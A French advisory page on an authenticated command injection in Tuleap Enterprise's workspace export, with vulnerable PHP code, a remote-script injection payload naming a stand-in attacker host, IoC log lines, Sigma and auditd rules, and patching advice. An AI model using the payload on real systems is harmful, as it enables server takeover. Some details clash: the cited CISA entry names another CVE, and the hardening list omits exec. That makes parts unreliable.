CVE-2026-84285 : injection de commandes système dans le module d'export d'espaces de travail de tuleap enterprise
SCORE DE MENACE HERMES & COMPROMISSION DE CHAÎNE DE DÉVELOPPEMENT
Cible :Tuleap Enterprise Edition — Module d'export d'espaces de travail & exécuteur shell Le standard CVSS v3.1 attribue à la CVE-2026-84285 le score de 8.8 Élevé compte tenu de la nécessité d'une authentification préalable (PR:L). Le Hermes Threat Score fixe ce risque à 89 (ÉLEVÉ). Tuleap Enterprise constitue la plateforme d'ingénierie logicielle (ALM) et de DevSecOps de référence pour des organisations hautement régulées des secteurs de l'aérospatiale, de la défense et du secteur public en Europe. Obtenir une exécution système arbitraire sur le serveur central Tuleap permet aux cyberattaquants d'accéder aux dépôts Git/SVN privés, aux identifiants de bases de données, aux jetons de déploiement CI/CD et aux secrets de signature de versions logicielles.
SÉVÉRITÉ AGENTIQUE HASS & ALTÉRATION DES AUTOMATISMES CI/CD
Cible :Exécuteurs d'intégration continue, agents d'IA d'assistance au code & webhooks Git Les chaînes de développement modernes intègrent massivement des agents d'IA autonomes pour la revue de code, la qualification des anomalies et la génération automatique de correctifs via les APIs REST de Tuleap. Une exécution de commandes arbitraires sur l'hôte Tuleap altère l'intégrité de ces intégrations agentiques : un attaquant peut empoisonner le code source analysé par l'IA, dérober les jetons accordés aux agents d'ingénierie et modifier les scripts de compilation pour introduire des portes dérobées furtives dans les conteneurs de production.
CVE-2026-84285: Tuleap Enterprise ALM Workspace Export OS Command InjectionVULNÉRABILITÉ
Software platform affected by security vulnerabilities and agentic attack patterns.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Confirmed security vulnerability in Tuleap Enterprise ALM documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
1. Contexte technique & surface d’attaque
Section intitulée « 1. Contexte technique & surface d’attaque »Le module d’exportation d’espace de travail permet aux chefs de projet et aux développeurs de regrouper les historiques d’incidents, les documents de conception et les pièces jointes dans une archive compressée téléchargeable.
┌───────────────────────────┐ 1. Requête d'export avec métacaractères injectés ┌─────────────────────────────┐│ Utilisateur authentifié │ ──────────────────────────────────────────────────────────> │ Frontal web Tuleap (Nginx) ││ (Membre de projet) │ POST /project/export.php?format=tar;$(id>/tmp/pwn) └──────────────┬──────────────┘└───────────────────────────┘ │ 2. Transmission à PHP-FPM ▼ ┌─────────────────────────────┐ │ Processus PHP-FPM │ │ (compte : codendiadm) │ └──────────────┬──────────────┘ │ 3. Concaténation de paramètres▼ ┌─────────────────────────────┐ │ ArtifactExportCommand.php │ │ [X] Absence escapeshellarg()│ └──────────────┬──────────────┘ │ 4. Invocation shell_exec() ▼ ┌─────────────────────────────┐ │ Exécution par /bin/sh │ │ Commande injectée lancée │ └──────────────┬──────────────┘ │ 5. Prise de contrôle du serveur▼ ┌─────────────────────────────┐ │ Vol des dépôts Git, secrets │ │ et accès base de données │ └─────────────────────────────┘Matrice d’analyse de la menace
Section intitulée « Matrice d’analyse de la menace »| Critère | Caractéristique technique | Impact opérationnel |
|---|---|---|
| Classe de vulnérabilité | Injection de commande OS (CWE-78) | Exécution arbitraire de commandes sur le serveur |
| Niveau d’authentification | Authentifié (PR:L) | Tout compte valide rattaché à un projet |
| Vecteur d’accès | Réseau (AV:N) | Interface web HTTPS ou requêtes d’API REST |
| Contexte d’exécution | codendiadm (utilisateur applicatif) | Accès complet aux répertoires Git et fichiers de configuration |
| Impact chaîne d’approvisionnement | Accès au code source et secrets | Possibilité d’altérer les binaires logiciels compilés |
2. Décomposition technique & cause racine
Section intitulée « 2. Décomposition technique & cause racine »L’anomalie se situe dans les fonctions d’assemblage d’archives qui sollicitent les utilitaires système de compression (tar, gzip, zip) via des appels de commandes shell sans assainissement préalable des paramètres.
Analyse du code vulnérable
Section intitulée « Analyse du code vulnérable »Dans les versions 17.3 à 17.5 de Tuleap Enterprise, les commandes étaient générées par interpolation directe de chaînes :
// Schéma de commande vulnérable dans Tuleap Enterprise <= 17.5class ProjectWorkspaceExporter { public function generateArchive(string $projectShortName, string $exportFormat, string $userOptions): void { $outputDirectory = "/var/tmp/tuleap_exports/" . $projectShortName;
// ANOMALIE : $exportFormat et $userOptions sont concaténés sans filtrage // et sans être encapsulés dans escapeshellarg() ou escapeshellcmd() ! $command = "tar -czf " . $outputDirectory . "/workspace." . $exportFormat . " " . $userOptions . " " . $outputDirectory . "/data/";
// Exécution directe via l'interpréteur de commande du système $output = []; $returnVar = 0; exec($command, $output, $returnVar);
if ($returnVar !== 0) { throw new ExportException("Échec de génération de l'archive : " . implode("\n", $output)); } }}Mécanisme d’exploitation
Section intitulée « Mécanisme d’exploitation »- Formulation de la requête piégée : l’attaquant déclenche l’action d’exportation en fournissant dans le champ de format d’archive une séquence de commandes additionnelles :
tar; curl -s http://attaquant.corp/rev.sh | bash; #
- Construction de la ligne de commande : le serveur incorpore l’entrée textuelle brute :
Fenêtre de terminal tar -czf /var/tmp/tuleap_exports/alpha/workspace.tar; curl -s http://attaquant.corp/rev.sh | bash; # /var/tmp/tuleap_exports/alpha/data/ - Exécution des commandes : la fonction
exec()invoque/bin/sh -c, exécutant l’utilitairetarpuis exécutant sans interruption la commande arbitraire avec les droits decodendiadm.
3. Déroulement de l’attaque & analyse forensique
Section intitulée « 3. Déroulement de l’attaque & analyse forensique »Les analystes DFIR en charge d’auditer l’infrastructure logicielle doivent corréler les journaux d’accès web Nginx, les journaux PHP-FPM et les traces de création de processus système.
Artefacts et indicateurs de compromission (IoC)
Section intitulée « Artefacts et indicateurs de compromission (IoC) »- Journaux d’accès Nginx (
/var/log/nginx/access.log) : rechercher les requêtes HTTP POST orientées vers les scripts d’exportation contenant des métacaractères shell :192.168.10.45 - - [22/Sep/2026:04:12:30 +0000] "POST /plugins/tracker/?tracker=42&func=export HTTP/1.1" 200 4821 "https://tuleap.internal/" "Mozilla/5.0" "format=tar%3Bcurl%20http%3A%2F%2F10.0.0.99%2Fbeacon%3B%23" - Filiation de processus anormale (
auditd/ EDR) : détecter l’apparition de sous-processus interactifs issus dephp-fpm:node=tuleap-app01 type=EXECVE msg=audit(1726992750.412:8124):argc=3 a0="sh" a1="-c" a2="tar -czf ...; curl -s http://attaquant.corp/rev.sh | bash; #"ouid=501 ppid=1420 pid=28901 comm="sh" exe="/usr/bin/bash" - Fichiers temporaires suspects : vérifier la présence de scripts ou de clés temporaires déposés sous
/var/tmp/ou/tmp/.
4. Détection & règles SIEM
Section intitulée « 4. Détection & règles SIEM »Règle de détection Sigma
Section intitulée « Règle de détection Sigma »title: Exécution suspecte de sous-processus par PHP-FPM sur serveur Tuleapid: 5e3d21c9-7a4b-4f1e-9284-cve20268428501status: experimentaldescription: Détecte les processus PHP-FPM ou l'utilisateur applicatif codendiadm générant des shells interactifs ou des commandes réseau, signe d'exploitation de la CVE-2026-84285.references: - https://www.3ds.com/vulnerability/advisories - https://nvd.nist.gov/vuln/detail/CVE-2026-84285author: Hermes Codex Intelligencedate: 2026-09-22logsource: category: process_creation product: linuxdetection: selection_parent: ParentImage|endswith: - '/php-fpm' - '/php-fpm8.2' - '/php-fpm8.3' ParentUser: 'codendiadm' selection_shell: Image|endswith: - '/bin/sh' - '/bin/bash' - '/usr/bin/curl' - '/usr/bin/wget' - '/usr/bin/nc' - '/usr/bin/python3' selection_cmdline: CommandLine|contains: - 'tar' - 'zip' - 'workspace' condition: selection_parent and selection_shell and selection_cmdlinelevel: hightags: - attack.execution - attack.t1059.004 - cve.2026-84285# Surveillance de l'exécution de binaires par le compte de service codendiadm-a always,exit -F arch=b64 -S execve -F euid=501 -k tuleap_process_exec5. Stratégie d’atténuation & remédiation
Section intitulée « 5. Stratégie d’atténuation & remédiation »Déploiement des correctifs officiels
Section intitulée « Déploiement des correctifs officiels »Les équipes d’exploitation doivent appliquer la mise à jour officielle :
- Mettre à niveau le paquet vers Tuleap Enterprise Edition 17.6 ou version ultérieure :
Fenêtre de terminal dnf update tuleap-enterprisesystemctl restart php-fpm tuleap - La version corrigée remplace l’invocation shell par des tableaux d’arguments sécurisés via
proc_open()et impose une validation stricte sur les extensions d’archives autorisées.
Durcissement de l’environnement
Section intitulée « Durcissement de l’environnement »- Restriction des fonctions PHP (
disable_functions) : restreindre l’exécution de fonctions dangereuses non indispensables au sein de/etc/php.d/local.ini:disable_functions = system,shell_exec,passthru,popen - Cloisonnement du service Systemd : activer le confinement pour
php-fpm.serviceen paramétrantProtectHome=true,PrivateTmp=true, et en verrouillant les droits en lecture sur/etc/tuleap/conf/. - Renouvellement préventif des secrets : renouveler les mots de passe de base de données présents dans
/etc/tuleap/conf/database.incen cas de suspicion d’intrusion.